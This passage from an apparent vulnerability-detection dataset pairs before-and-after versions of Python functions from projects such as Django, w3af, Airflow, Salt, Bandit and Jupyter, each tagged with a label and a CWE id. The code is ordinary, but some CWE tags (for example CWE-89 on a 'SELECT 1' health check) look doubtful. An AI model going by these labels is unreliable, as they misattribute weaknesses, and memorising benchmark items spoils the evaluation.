        tmp_list.remove(cf.cf.get('target_framework'))
        tmp_list.insert(0, cf.cf.get('target_framework'))
        o = opt_factory('target_framework', tmp_list, d, 'combo', help=h)
        ol.add(o)

        return ol",,andresriancho/w3af,d0d6ed4890a082ac80b69c576f33d312f5f1afb6,"def get_options(self):
        '''
        :return: A list of option objects for this plugin.
        '''
        ol = OptionList()

        targets = ','.join(str(tar) for tar in cf.cf.get('targets'))
        d = 'A comma separated list of URLs'
        o = opt_factory('target', targets, d, 'list')
        ol.add(o)

        d = 'Target operating system (' + '/'.join(
            self._operating_systems) + ')'
        h = 'This setting is here to enhance w3af performance.'

        # This list ""hack"" has to be done becase the default value is the one
        # in the first position on the list
        tmp_list = self._operating_systems[:]
        tmp_list.remove(cf.cf.get('target_os'))
        tmp_list.insert(0, cf.cf.get('target_os'))
        o = opt_factory('target_os', tmp_list, d, 'combo', help=h)
        ol.add(o)

        d = 'Target programming framework (' + '/'.join(
            self._programming_frameworks) + ')'
        h = 'This setting is here to enhance w3af performance.'
        # This list ""hack"" has to be done because the default value is the one
        # in the first position on the list
        tmp_list = self._programming_frameworks[:]
        tmp_list.remove(cf.cf.get('target_framework'))
        tmp_list.insert(0, cf.cf.get('target_framework'))
        o = opt_factory('target_framework', tmp_list, d, 'combo', help=h)
        ol.add(o)

        return ol"
,UNKNOWN,UNKNOWN,tests/forms_tests/tests/test_fields.py,1,"def test_filepathfield_2(self):
        path = upath(forms.__file__)
        path = os.path.dirname(os.path.abspath(path)) + '/'
        f = FilePathField(path=path)
        f.choices = [p for p in f.choices if p[0].endswith('.py')]
        f.choices.sort()
        expected = [
            ('/django/forms/__init__.py', '__init__.py'),
            ('/django/forms/fields.py', 'fields.py'),
            ('/django/forms/forms.py', 'forms.py'),
            ('/django/forms/formsets.py', 'formsets.py'),
            ('/django/forms/models.py', 'models.py'),
            ('/django/forms/util.py', 'util.py'),
            ('/django/forms/utils.py', 'utils.py'),
            ('/django/forms/widgets.py', 'widgets.py')
        ]
        for exp, got in zip(expected, fix_os_paths(f.choices)):
            self.assertEqual(exp[1], got[1])
            self.assertTrue(got[0].endswith(exp[0]))
        self.assertRaisesMessage(ValidationError, ""'Select a valid choice. fields.py is not one of the available choices.'"", f.clean, 'fields.py')
        assert fix_os_paths(f.clean(path + 'fields.py')).endswith('/django/forms/fields.py')",CWE-703,django/django,b289fcf1bfeaa717ed465b2529a275b61dc02d92,"def test_filepathfield_2(self):
        path = upath(forms.__file__)
        path = os.path.dirname(os.path.abspath(path)) + '/'
        f = FilePathField(path=path)
        f.choices = [p for p in f.choices if p[0].endswith('.py')]
        f.choices.sort()
        expected = [
                ('/django/forms/__init__.py', '__init__.py'),
                ('/django/forms/fields.py', 'fields.py'),
                ('/django/forms/forms.py', 'forms.py'),
                ('/django/forms/formsets.py', 'formsets.py'),
                ('/django/forms/models.py', 'models.py'),
                ('/django/forms/util.py', 'util.py'),
                ('/django/forms/utils.py', 'utils.py'),
                ('/django/forms/widgets.py', 'widgets.py')
        ]
        for exp, got in zip(expected, fix_os_paths(f.choices)):
            self.assertEqual(exp[1], got[1])
            self.assertTrue(got[0].endswith(exp[0]))
        self.assertRaisesMessage(ValidationError, ""'Select a valid choice. fields.py is not one of the available choices.'"", f.clean, 'fields.py')
        assert fix_os_paths(f.clean(path + 'fields.py')).endswith('/django/forms/fields.py')"
functions_for_w3af_with_cwe.csv,UNKNOWN,UNKNOWN,w3af/core/data/kb/vuln_templates/sql_injection_template.py,0,"def create_vuln(self):
        v = self.create_base_vuln()

        url = self.url

        if self.method.upper() == 'GET':
            url.querystring = self.data
            freq = FuzzableRequest(url, method=self.method)
            MutantKlass = QSMutant
        else:
            freq = FuzzableRequest(url, method=self.method, post_data=self.data)
            MutantKlass = PostDataMutant

        mutant = MutantKlass(freq)
        mutant.set_token((self.vulnerable_parameter, 0))
        mutant.set_dc(self.data)

        v.set_mutant(mutant)

        # Set the name of the vulnerability
        v.set_name(self.name)

        return v",,andresriancho/w3af,128eec99c13ae540f15451592e928bc61efd56de,"def create_vuln(self):
        v = self.create_base_vuln()

        url = self.url

        if self.method.upper() == 'GET':
            url.querystring = self.data
            freq = FuzzableRequest(url, method=self.method)
            MutantKlass = QSMutant
        else:
            freq = FuzzableRequest(url, method=self.method, post_data=self.data)
            MutantKlass = PostDataMutant

        mutant = MutantKlass(freq)
        mutant.set_token(self.vulnerable_parameter, 0)
        mutant.set_dc(self.data)

        v.set_mutant(mutant)

        # Set the name of the vulnerability
        v.set_name(self.name)

        return v"
,UNKNOWN,UNKNOWN,django/db/backends/postgresql_psycopg2/base.py,1,"def is_usable(self):
        try:
            # Use a psycopg cursor directly, bypassing Django's utilities.
            self.connection.cursor().execute(""SELECT 1"")
        except Database.Error:
            return False
        else:
            return True",CWE-89,django/django,6fa7d7c594597ab7072ffa740da5b6f4a5a6cd26,"def is_usable(self):
        try:
            # Use a psycopg cursor directly, bypassing Django's utilities.
            self.connection.cursor().execute(""SELECT 1"")
        except DatabaseError:
            return False
        else:
            return True"
,UNKNOWN,UNKNOWN,providers/standard/tests/unit/standard/operators/test_datetime.py,1,"def test_branch_datetime_operator_use_task_logical_date(self, dag_maker, target_lower, target_upper):
        """"""Check if BranchDateTimeOperator uses task logical date""""""
        in_between_date = timezone.datetime(2020, 7, 7, 10, 30, 0)
        self.branch_op.use_task_logical_date = True
        self.dr = dag_maker.create_dagrun(
            run_id=""manual_exec_date__"",
            start_date=in_between_date,
            logical_date=in_between_date,
            state=State.RUNNING,
            data_interval=DataInterval(in_between_date, in_between_date),
        )

        self.branch_op.target_lower = target_lower
        self.branch_op.target_upper = target_upper
        if AIRFLOW_V_3_0_PLUS:
            from airflow.exceptions import DownstreamTasksSkipped

            with pytest.raises(DownstreamTasksSkipped) as exc_info:
                self.branch_op.run(start_date=in_between_date, end_date=in_between_date)

            assert exc_info.value.tasks == [(""branch_2"", -1)]
        else:
            self.branch_op.run(start_date=in_between_date, end_date=in_between_date)

            self._assert_task_ids_match_states(
                {
                    ""datetime_branch"": State.SUCCESS,
                    ""branch_1"": State.NONE,
                    ""branch_2"": State.SKIPPED,
                }
            )",CWE-703,apache/airflow,5479d0b387577a8c5a4b325968b56ebd52a985f3,"def test_branch_datetime_operator_use_task_logical_date(self, dag_maker, target_lower, target_upper):
        """"""Check if BranchDateTimeOperator uses task logical date""""""
        in_between_date = timezone.datetime(2020, 7, 7, 10, 30, 0)
        self.branch_op.use_task_logical_date = True
        self.dr = dag_maker.create_dagrun(
            run_id=""manual_exec_date__"",
            start_date=in_between_date,
            logical_date=in_between_date,
            state=State.RUNNING,
            data_interval=DataInterval(in_between_date, in_between_date),
        )

        self.branch_op.target_lower = target_lower
        self.branch_op.target_upper = target_upper
        if AIRFLOW_V_3_0_PLUS:
            from airflow.exceptions import DownstreamTasksSkipped

            with pytest.raises(DownstreamTasksSkipped) as exc_info:
                self.branch_op.run(start_date=in_between_date, end_date=in_between_date)

            assert exc_info.value.tasks == [(""branch_2"", -1)]
        else:
            self.branch_op.run(start_date=in_between_date, end_date=in_between_date)

            self._assert_task_ids_match_states(
                {
                    ""datetime_branch"": State.SUCCESS,
                    ""branch_1"": State.NONE,
                    ""branch_2"": State.SKIPPED,
                }
            )"
,UNKNOWN,UNKNOWN,django/db/models/fields/related.py,1,"def _check_relationship_model(self, from_model=None, **kwargs):
        if hasattr(self.remote_field.through, '_meta'):
            qualified_model_name = ""%s.%s"" % (
                self.remote_field.through._meta.app_label, self.remote_field.through.__name__)
        else:
            qualified_model_name = self.remote_field.through

        errors = []

        if self.remote_field.through not in self.opts.apps.get_models(include_auto_created=True):
            # The relationship model is not installed.
            errors.append(
                checks.Error(
                    ""Field specifies a many-to-many relation through model ""
                    ""'%s', which has not been installed."" % qualified_model_name,
                    obj=self,
                    id='fields.E331',
                )
            )

        else:
            assert from_model is not None, (
                ""ManyToManyField with intermediate ""
                ""tables cannot be checked if you don't pass the model ""
                ""where the field is attached to.""
            )
            # Set some useful local variables
            to_model = resolve_relation(from_model, self.remote_field.model)
            from_model_name = from_model._meta.object_name
            if isinstance(to_model, str):
                to_model_name = to_model
            else:
                to_model_name = to_model._meta.object_name
            relationship_model_name = self.remote_field.through._meta.object_name
            self_referential = from_model == to_model
            # Count foreign keys in intermediate model
            if self_referential:
                seen_self = sum(
                    from_model == getattr(field.remote_field, 'model', None)
                    for field in self.remote_field.through._meta.fields
                )

                if seen_self > 2 and not self.remote_field.through_fields:
                    errors.append(
                        checks.Error(
                            ""The model is used as an intermediate model by ""
                            ""'%s', but it has more than two foreign keys ""
                            ""to '%s', which is ambiguous. You must specify ""
                            ""which two foreign keys Django should use via the ""
                            ""through_fields keyword argument."" % (self, from_model_name),
                            hint=""Use through_fields to specify which two foreign keys Django should use."",
                            obj=self.remote_field.through,
                            id='fields.E333',
                        )
                    )

            else:
                # Count foreign keys in relationship model
                seen_from = sum(
                    from_model == getattr(field.remote_field, 'model', None)
                    for field in self.remote_field.through._meta.fields
                )
                seen_to = sum(
                    to_model == getattr(field.remote_field, 'model', None)
                    for field in self.remote_field.through._meta.fields
                )

                if seen_from > 1 and not self.remote_field.through_fields:
                    errors.append(
                        checks.Error(
                            (""The model is used as an intermediate model by ""
                             ""'%s', but it has more than one foreign key ""
                             ""from '%s', which is ambiguous. You must specify ""
                             ""which foreign key Django should use via the ""
                             ""through_fields keyword argument."") % (self, from_model_name),
                            hint=(
                                'If you want to create a recursive relationship, '
                                'use ForeignKey(""self"", symmetrical=False, through=""%s"").'
                            ) % relationship_model_name,
                            obj=self,
                            id='fields.E334',
                        )
                    )

                if seen_to > 1 and not self.remote_field.through_fields:
                    errors.append(
                        checks.Error(
                            ""The model is used as an intermediate model by ""
                            ""'%s', but it has more than one foreign key ""
                            ""to '%s', which is ambiguous. You must specify ""
                            ""which foreign key Django should use via the ""
                            ""through_fields keyword argument."" % (self, to_model_name),
                            hint=(
                                'If you want to create a recursive relationship, '
                                'use ForeignKey(""self"", symmetrical=False, through=""%s"").'
                            ) % relationship_model_name,
                            obj=self,
                            id='fields.E335',
                        )
                    )

                if seen_from == 0 or seen_to == 0:
                    errors.append(
                        checks.Error(
                            ""The model is used as an intermediate model by ""
                            ""'%s', but it does not have a foreign key to '%s' or '%s'."" % (
                                self, from_model_name, to_model_name
                            ),
                            obj=self.remote_field.through,
                            id='fields.E336',
                        )
                    )

        # Validate `through_fields`.
        if self.remote_field.through_fields is not None:
            # Validate that we're given an iterable of at least two items
            # and that none of them is ""falsy"".
            if not (len(self.remote_field.through_fields) >= 2 and
                    self.remote_field.through_fields[0] and self.remote_field.through_fields[1]):
                errors.append(
                    checks.Error(
                        ""Field specifies 'through_fields' but does not provide ""
                        ""the names of the two link fields that should be used ""
                        ""for the relation through model '%s'."" % qualified_model_name,
                        hint=""Make sure you specify 'through_fields' as through_fields=('field1', 'field2')"",
                        obj=self,
                        id='fields.E337',
                    )
                )

            # Validate the given through fields -- they should be actual
            # fields on the through model, and also be foreign keys to the
            # expected models.
            else:
                assert from_model is not None, (
                    ""ManyToManyField with intermediate ""
                    ""tables cannot be checked if you don't pass the model ""
                    ""where the field is attached to.""
                )

                source, through, target = from_model, self.remote_field.through, self.remote_field.model
                source_field_name, target_field_name = self.remote_field.through_fields[:2]

                for field_name, related_model in ((source_field_name, source),
                                                  (target_field_name, target)):

                    possible_field_names = []
                    for f in through._meta.fields:
                        if hasattr(f, 'remote_field') and getattr(f.remote_field, 'model', None) == related_model:
                            possible_field_names.append(f.name)
                    if possible_field_names:
                        hint = ""Did you mean one of the following foreign keys to '%s': %s?"" % (
                            related_model._meta.object_name,
                            ', '.join(possible_field_names),
                        )
                    else:
                        hint = None

                    try:
                        field = through._meta.get_field(field_name)
                    except exceptions.FieldDoesNotExist:
                        errors.append(
                            checks.Error(
                                ""The intermediary model '%s' has no field '%s'.""
                                % (qualified_model_name, field_name),
                                hint=hint,
                                obj=self,
                                id='fields.E338',
                            )
                        )
                    else:
                        if not (hasattr(field, 'remote_field') and
                                getattr(field.remote_field, 'model', None) == related_model):
                            errors.append(
                                checks.Error(
                                    ""'%s.%s' is not a foreign key to '%s'."" % (
                                        through._meta.object_name, field_name,
                                        related_model._meta.object_name,
                                    ),
                                    hint=hint,
                                    obj=self,
                                    id='fields.E339',
                                )
                            )

        return errors",CWE-703,django/django,87b1ad6e7351464c60e751b483d9dfce3a2d3382,"def _check_relationship_model(self, from_model=None, **kwargs):
        if hasattr(self.remote_field.through, '_meta'):
            qualified_model_name = ""%s.%s"" % (
                self.remote_field.through._meta.app_label, self.remote_field.through.__name__)
        else:
            qualified_model_name = self.remote_field.through

        errors = []

        if self.remote_field.through not in self.opts.apps.get_models(include_auto_created=True):
            # The relationship model is not installed.
            errors.append(
                checks.Error(
                    ""Field specifies a many-to-many relation through model ""
                    ""'%s', which has not been installed."" % qualified_model_name,
                    obj=self,
                    id='fields.E331',
                )
            )

        else:
            assert from_model is not None, (
                ""ManyToManyField with intermediate ""
                ""tables cannot be checked if you don't pass the model ""
                ""where the field is attached to.""
            )
            # Set some useful local variables
            to_model = resolve_relation(from_model, self.remote_field.model)
            from_model_name = from_model._meta.object_name
            if isinstance(to_model, str):
                to_model_name = to_model
            else:
                to_model_name = to_model._meta.object_name
            relationship_model_name = self.remote_field.through._meta.object_name
            self_referential = from_model == to_model

            # Check symmetrical attribute.
            if (self_referential and self.remote_field.symmetrical and
                    not self.remote_field.through._meta.auto_created):
                errors.append(
                    checks.Error(
                        'Many-to-many fields with intermediate tables must not be symmetrical.',
                        obj=self,
                        id='fields.E332',
                    )
                )

            # Count foreign keys in intermediate model
            if self_referential:
                seen_self = sum(
                    from_model == getattr(field.remote_field, 'model', None)
                    for field in self.remote_field.through._meta.fields
                )

                if seen_self > 2 and not self.remote_field.through_fields:
                    errors.append(
                        checks.Error(
                            ""The model is used as an intermediate model by ""
                            ""'%s', but it has more than two foreign keys ""
                            ""to '%s', which is ambiguous. You must specify ""
                            ""which two foreign keys Django should use via the ""
                            ""through_fields keyword argument."" % (self, from_model_name),
                            hint=""Use through_fields to specify which two foreign keys Django should use."",
                            obj=self.remote_field.through,
                            id='fields.E333',
                        )
                    )

            else:
                # Count foreign keys in relationship model
                seen_from = sum(
                    from_model == getattr(field.remote_field, 'model', None)
                    for field in self.remote_field.through._meta.fields
                )
                seen_to = sum(
                    to_model == getattr(field.remote_field, 'model', None)
                    for field in self.remote_field.through._meta.fields
                )

                if seen_from > 1 and not self.remote_field.through_fields:
                    errors.append(
                        checks.Error(
                            (""The model is used as an intermediate model by ""
                             ""'%s', but it has more than one foreign key ""
                             ""from '%s', which is ambiguous. You must specify ""
                             ""which foreign key Django should use via the ""
                             ""through_fields keyword argument."") % (self, from_model_name),
                            hint=(
                                'If you want to create a recursive relationship, '
                                'use ForeignKey(""self"", symmetrical=False, through=""%s"").'
                            ) % relationship_model_name,
                            obj=self,
                            id='fields.E334',
                        )
                    )

                if seen_to > 1 and not self.remote_field.through_fields:
                    errors.append(
                        checks.Error(
                            ""The model is used as an intermediate model by ""
                            ""'%s', but it has more than one foreign key ""
                            ""to '%s', which is ambiguous. You must specify ""
                            ""which foreign key Django should use via the ""
                            ""through_fields keyword argument."" % (self, to_model_name),
                            hint=(
                                'If you want to create a recursive relationship, '
                                'use ForeignKey(""self"", symmetrical=False, through=""%s"").'
                            ) % relationship_model_name,
                            obj=self,
                            id='fields.E335',
                        )
                    )

                if seen_from == 0 or seen_to == 0:
                    errors.append(
                        checks.Error(
                            ""The model is used as an intermediate model by ""
                            ""'%s', but it does not have a foreign key to '%s' or '%s'."" % (
                                self, from_model_name, to_model_name
                            ),
                            obj=self.remote_field.through,
                            id='fields.E336',
                        )
                    )

        # Validate `through_fields`.
        if self.remote_field.through_fields is not None:
            # Validate that we're given an iterable of at least two items
            # and that none of them is ""falsy"".
            if not (len(self.remote_field.through_fields) >= 2 and
                    self.remote_field.through_fields[0] and self.remote_field.through_fields[1]):
                errors.append(
                    checks.Error(
                        ""Field specifies 'through_fields' but does not provide ""
                        ""the names of the two link fields that should be used ""
                        ""for the relation through model '%s'."" % qualified_model_name,
                        hint=""Make sure you specify 'through_fields' as through_fields=('field1', 'field2')"",
                        obj=self,
                        id='fields.E337',
                    )
                )

            # Validate the given through fields -- they should be actual
            # fields on the through model, and also be foreign keys to the
            # expected models.
            else:
                assert from_model is not None, (
                    ""ManyToManyField with intermediate ""
                    ""tables cannot be checked if you don't pass the model ""
                    ""where the field is attached to.""
                )

                source, through, target = from_model, self.remote_field.through, self.remote_field.model
                source_field_name, target_field_name = self.remote_field.through_fields[:2]

                for field_name, related_model in ((source_field_name, source),
                                                  (target_field_name, target)):

                    possible_field_names = []
                    for f in through._meta.fields:
                        if hasattr(f, 'remote_field') and getattr(f.remote_field, 'model', None) == related_model:
                            possible_field_names.append(f.name)
                    if possible_field_names:
                        hint = ""Did you mean one of the following foreign keys to '%s': %s?"" % (
                            related_model._meta.object_name,
                            ', '.join(possible_field_names),
                        )
                    else:
                        hint = None

                    try:
                        field = through._meta.get_field(field_name)
                    except exceptions.FieldDoesNotExist:
                        errors.append(
                            checks.Error(
                                ""The intermediary model '%s' has no field '%s'.""
                                % (qualified_model_name, field_name),
                                hint=hint,
                                obj=self,
                                id='fields.E338',
                            )
                        )
                    else:
                        if not (hasattr(field, 'remote_field') and
                                getattr(field.remote_field, 'model', None) == related_model):
                            errors.append(
                                checks.Error(
                                    ""'%s.%s' is not a foreign key to '%s'."" % (
                                        through._meta.object_name, field_name,
                                        related_model._meta.object_name,
                                    ),
                                    hint=hint,
                                    obj=self,
                                    id='fields.E339',
                                )
                            )

        return errors"
functions_for_salt_with_cwe.csv,UNKNOWN,UNKNOWN,salt/modules/pacman.py,0,"def __virtual__():
    '''
    Set the virtual pkg module if the os is Arch
    '''
    if __grains__['os_family'] == 'Arch':
        return __virtualname__
    return (False, 'The pacman module could not be loaded: unsupported OS family.')",,saltstack/salt,6319e3419a33ab8d0e4f5641ed2e9a259f1b447c,"def __virtual__():
    '''
    Set the virtual pkg module if the os is Arch
    '''
    if __grains__['os'] in ('Arch', 'Arch ARM', 'Antergos', 'ManjaroLinux'):
        return __virtualname__
    return (False, 'The pacman module could not be loaded: unsupported OS family.')"
,UNKNOWN,UNKNOWN,test/units/template/test_template.py,1,"def test_templar_finalize_undefined() -> None:
    """"""Ensure that undefined values returned via the `Templar.template` public API are always finalized, even under a TemplateContext.""""""
    templar = _template.Templar()

    with _engine.TemplateContext(template_value=""bogus"", templar=templar._engine, options=_engine.TemplateOptions.DEFAULT):
        undef_template = TRUST.tag('{{ with_undefined }}')

        # self-test to ensure that this test would fail against the engine by default
        assert isinstance(templar._engine.template(undef_template), UndefinedMarker)

        with pytest.raises(AnsibleUndefinedVariable):
            templar.template(undef_template)",CWE-703,ansible/ansible,80d5f056421da4baebc1f5dc55637ade71bb41b1,"def test_templar_finalize_undefined() -> None:
    """"""Ensure that undefined values returned via the `Templar.template` public API are always finalized, even under a TemplateContext.""""""
    templar = _template.Templar()

    with _engine.TemplateContext(template_value=""bogus"", templar=templar._engine, options=_engine.TemplateOptions.DEFAULT):
        undef_template = TRUST.tag('{{ with_undefined }}')

        # self-test to ensure that this test would fail against the engine by default
        assert isinstance(templar._engine.template(undef_template), UndefinedMarker)

        with pytest.raises(AnsibleUndefinedVariable):
            templar.template(undef_template)"
functions_for_volatility_with_cwe.csv,UNKNOWN,UNKNOWN,volatility/plugins/overlays/windows/kpcr_vtypes.py,0,"def get_kdbg(self):
        """"""Find this CPUs KDBG. 

        Please note the KdVersionBlock pointer is NULL on
        all KPCR structures except the one for the first CPU. 
        In some cases on x64, even the first CPU has a NULL
        KdVersionBlock, so this is really a hit-or-miss. 
        """"""
        DebuggerDataList = self.KdVersionBlock.dereference_as(""_DBGKD_GET_VERSION64"").DebuggerDataList
    
        # DebuggerDataList is a pointer to unsigned long on x86 
        # and a pointer to unsigned long long on x64. The first 
        # dereference() dereferences the pointer, and the second 
        # dereference() dereferences the unsigned long or long long
        # as the actual KDBG address. 
        return DebuggerDataList.dereference().dereference_as(""_KDDEBUGGER_DATA64"")",,volatilityfoundation/volatility,65f15dd893ac0b9a70abbbbad1247cb0bffa87f5,"def get_kdbg(self):
        """"""Find this CPUs KDBG. 

        Please note the KdVersionBlock pointer is NULL on
        all x64 that we've seen. Thus this technique of finding
        KDBG via KPCR is only valid for x86 profiles.
        """"""
        DebuggerDataList = self.KdVersionBlock.dereference_as(""_DBGKD_GET_VERSION64"").DebuggerDataList
    
        # DebuggerDataList is a pointer to unsigned long on x86 
        # and a pointer to unsigned long long on x64. The first 
        # dereference() dereferences the pointer, and the second 
        # dereference() dereferences the unsigned long or long long
        # as the actual KDBG address. 
        return DebuggerDataList.dereference().dereference_as(""_KDDEBUGGER_DATA64"")"
functions_for_bandit_with_cwe.csv,UNKNOWN,UNKNOWN,bandit/formatters/screen.py,0,"def get_metrics(manager):
    bits = []
    bits.append(header(""\nRun metrics:""))
    for (criteria, _) in constants.CRITERIA:
        bits.append(""\tTotal issues (by %s):"" % (criteria.lower()))
        for rank in constants.RANKING:
            bits.append(""\t\t%s: %s"" % (
                rank.capitalize(),
                manager.metrics.data['_totals']['%s.%s' % (criteria, rank)]))
    return '\n'.join([str(bit) for bit in bits])",UNKNOWN,PyCQA/bandit,57007dd28b2876aa924a399ac653bf74d15543a7,"def get_metrics(manager):
    bits = []
    bits.append(header(""\nRun metrics:""))
    for (criteria, default) in constants.CRITERIA:
        bits.append(""\tTotal issues (by %s):"" % (criteria.lower()))
        for rank in constants.RANKING:
            bits.append(""\t\t%s: %s"" % (
                rank.capitalize(),
                manager.metrics.data['_totals']['%s.%s' % (criteria, rank)]))
    return '\n'.join([str(bit) for bit in bits])"
functions_for_bandit_with_cwe.csv,UNKNOWN,UNKNOWN,bandit/formatters/csv.py,0,"def report(manager, filename, sev_level, conf_level, lines=-1,
           out_format='csv'):
    '''Prints issues in CSV format

    :param manager: the bandit manager object
    :param filename: The output file name, or None for stdout
    :param sev_level: Filtering severity level
    :param conf_level: Filtering confidence level
    :param lines: Number of lines to report, -1 for all
    :param out_format: The ouput format name
    '''

    results = manager.get_issue_list(sev_level=sev_level,
                                     conf_level=conf_level)

    with utils.output_file(filename, 'w') as fout:
        fieldnames = ['filename',
                      'test_name',
                      'issue_severity',
                      'issue_confidence',
                      'issue_text',
                      'line_number',
                      'line_range']

        writer = csv.DictWriter(fout, fieldnames=fieldnames,
                                extrasaction='ignore')
        writer.writeheader()
        for result in results:
            writer.writerow(result.as_dict(with_code=False))

    if filename is not None:
        logger.info(""CSV output written to file: %s"" % filename)",UNKNOWN,PyCQA/bandit,3157f0d67f866bb99a4b76ce6a0bd283c7429878,"def report(manager, filename, sev_level, conf_level, lines=-1,
           out_format='csv'):
    '''Prints issues in CSV format

    :param manager: the bandit manager object
    :param filename: The output file name, or None for stdout
    :param sev_level: Filtering severity level
    :param conf_level: Filtering confidence level
    :param lines: Number of lines to report, -1 for all
    :param out_format: The ouput format name
    '''

    results = manager.get_issue_list()

    with utils.output_file(filename, 'w') as fout:
        fieldnames = ['filename',
                      'test_name',
                      'issue_severity',
                      'issue_confidence',
                      'issue_text',
                      'line_number',
                      'line_range']

        writer = csv.DictWriter(fout, fieldnames=fieldnames,
                                extrasaction='ignore')
        writer.writeheader()
        for result in results:
            if result.filter(sev_level, conf_level):
                writer.writerow(result.as_dict(with_code=False))

    if filename is not None:
        logger.info(""CSV output written to file: %s"" % filename)"
functions_for_jupyter_with_cwe.csv,UNKNOWN,UNKNOWN,notebook/files/handlers.py,0,"def get(self, path, include_body=True):
        cm = self.contents_manager

        if cm.is_hidden(path) and not cm.allow_hidden:
            self.log.info(""Refusing to serve hidden file, via 404 Error"")
            raise web.HTTPError(404)

        path = path.strip('/')
        if '/' in path:
            _, name = path.rsplit('/', 1)
        else:
            name = path
        
        model = yield gen.maybe_future(cm.get(path, type='file', content=include_body))
        
        if self.get_argument(""download"", False):
            self.set_attachment_header(name)
        
        # get mimetype from filename
        if name.lower().endswith('.ipynb'):
            self.set_header('Content-Type', 'application/x-ipynb+json')
        else:
            cur_mime = mimetypes.guess_type(name)[0]
            if cur_mime == 'text/plain':
                self.set_header('Content-Type', 'text/plain; charset=UTF-8')
            elif cur_mime is not None:
                self.set_header('Content-Type', cur_mime)
            else:
                if model['format'] == 'base64':
                    self.set_header('Content-Type', 'application/octet-stream')
                else:
                    self.set_header('Content-Type', 'text/plain; charset=UTF-8')

        if include_body:
            if model['format'] == 'base64':
                b64_bytes = model['content'].encode('ascii')
                self.write(decodebytes(b64_bytes))
            elif model['format'] == 'json':
                self.write(json.dumps(model['content']))
            else:
                self.write(model['content'])
            self.flush()",,jupyter/notebook,6a96754208aa054a91781eabff06cf89e1b1e37c,"def get(self, path, include_body=True):
        cm = self.contents_manager

        if cm.is_hidden(path) and not cm.allow_hidden:
            self.log.info(""Refusing to serve hidden file, via 404 Error"")
            raise web.HTTPError(404)

        path = path.strip('/')
        if '/' in path:
            _, name = path.rsplit('/', 1)
        else:
            name = path
        
        model = yield gen.maybe_future(cm.get(path, type='file', content=include_body))
        
        if self.get_argument(""download"", False):
            self.set_attachment_header(name)
        
        # get mimetype from filename
        if name.endswith('.ipynb'):
            self.set_header('Content-Type', 'application/x-ipynb+json')
        else:
            cur_mime = mimetypes.guess_type(name)[0]
            if cur_mime == 'text/plain':
                self.set_header('Content-Type', 'text/plain; charset=UTF-8')
            elif cur_mime is not None:
                self.set_header('Content-Type', cur_mime)
            else:
                if model['format'] == 'base64':
                    self.set_header('Content-Type', 'application/octet-stream')
                else:
                    self.set_header('Content-Type', 'text/plain; charset=UTF-8')

        if include_body:
            if model['format'] == 'base64':
                b64_bytes = model['content'].encode('ascii')
                self.write(decodebytes(b64_bytes))
            elif model['format'] == 'json':
                self.write(json.dumps(model['content']))
            else:
                self.write(model['content'])
            self.flush()"
functions_for_django_with_cwe.csv,UNKNOWN,UNKNOWN,django/db/backends/creation.py,0,"def serialize_db_to_string(self):
        """"""
        Serializes all data in the database into a JSON string.
        Designed only for test runner usage; will not handle large
        amounts of data.
        """"""
        # Build list of all apps to serialize
        from django.db.migrations.loader import MigrationLoader
        loader = MigrationLoader(self.connection)
        app_list = []
        for app_config in apps.get_app_configs():
            if (
                app_config.models_module is not None and
                app_config.label in loader.migrated_apps and
                app_config.name not in settings.TEST_NON_SERIALIZED_APPS
            ):
                app_list.append((app_config, None))

        # Make a function to iteratively return every object
        def get_objects():
            for model in sort_dependencies(app_list):
                if not model._meta.proxy and router.allow_migrate(self.connection.alias, model):
                    queryset = model._default_manager.using(self.connection.alias).order_by(model._meta.pk.name)
                    for obj in queryset.iterator():
                        yield obj
        # Serialise to a string
        out = StringIO()
        serializers.serialize(""json"", get_objects(), indent=None, stream=out)
        return out.getvalue()",CWE-Unknown,django/django,0a515b02fcfa937e2a148148ca7be3e291e31d2e,"def serialize_db_to_string(self):
        """"""
        Serializes all data in the database into a JSON string.
        Designed only for test runner usage; will not handle large
        amounts of data.
        """"""
        # Build list of all apps to serialize
        from django.db.migrations.loader import MigrationLoader
        loader = MigrationLoader(self.connection)
        app_list = []
        for app_config in apps.get_app_configs():
            if (
                app_config.models_module is not None and
                app_config.label in loader.migrated_apps and
                app_config.name not in settings.TEST_NON_SERIALIZED_APPS
            ):
                app_list.append((app_config, None))
        # Make a function to iteratively return every object
        def get_objects():
            for model in sort_dependencies(app_list):
                if not model._meta.proxy and router.allow_migrate(self.connection.alias, model):
                    queryset = model._default_manager.using(self.connection.alias).order_by(model._meta.pk.name)
                    for obj in queryset.iterator():
                        yield obj
        # Serialise to a string
        out = StringIO()
        serializers.serialize(""json"", get_objects(), indent=None, stream=out)
        return out.getvalue()"
functions_for_mlflow_with_cwe.csv,UNKNOWN,UNKNOWN,mlflow/store/artifact/local_artifact_repo.py,0,"def log_artifact(self, local_file, artifact_path=None):
        verify_artifact_path(artifact_path)
        # NOTE: The artifact_path is expected to be in posix format.
        # Posix paths work fine on windows but just in case we normalize it here.
        if artifact_path:
            artifact_path = os.path.normpath(artifact_path)

        artifact_dir = os.path.join(self.artifact_dir, artifact_path) if artifact_path else \
            self.artifact_dir
        if not os.path.exists(artifact_dir):
            mkdir(artifact_dir)
        shutil.copy(local_file, artifact_dir)",,mlflow/mlflow,39d47fa6351c7a39a2af3904819d3edcc394aff3,"def log_artifact(self, local_file, artifact_path=None):
        verify_artifact_path(artifact_path)
        # NOTE: The artifact_path is expected to be in posix format.
        # Posix paths work fine on windows but just in case we normalize it here.
        if artifact_path:
            artifact_path = os.path.normpath(artifact_path)

        artifact_dir = os.path.join(self.artifact_dir, artifact_path) if artifact_path else \
            self.artifact_dir
        if not os.path.exists(artifact_dir):
            mkdir(artifact_dir)
        shutil.copy(local_file, artifact_dir)"
,UNKNOWN,UNKNOWN,django/contrib/auth/tests/test_context_processors.py,1,"def test_user_attrs(self):
        """"""
        Test that the lazy objects returned behave just like the wrapped objects.
        """"""
        # These are 'functional' level tests for common use cases.  Direct
        # testing of the implementation (SimpleLazyObject) is in the 'utils'
        # tests.
        self.client.login(username='super', password='secret')
        user = authenticate(username='super', password='secret')
        response = self.client.get('/auth_processor_user/')
        self.assertContains(response, ""unicode: super"")
        self.assertContains(response, ""id: 100"")
        self.assertContains(response, ""username: super"")
        # bug #12037 is tested by the {% url %} in the template:
        self.assertContains(response, ""url: /userpage/super/"")

        # See if this object can be used for queries where a Q() comparing
        # a user can be used with another Q() (in an AND or OR fashion).
        # This simulates what a template tag might do with the user from the
        # context. Note that we don't need to execute a query, just build it.
        #
        # The failure case (bug #12049) on Python 2.4 with a LazyObject-wrapped
        # User is a fatal TypeError: ""function() takes at least 2 arguments
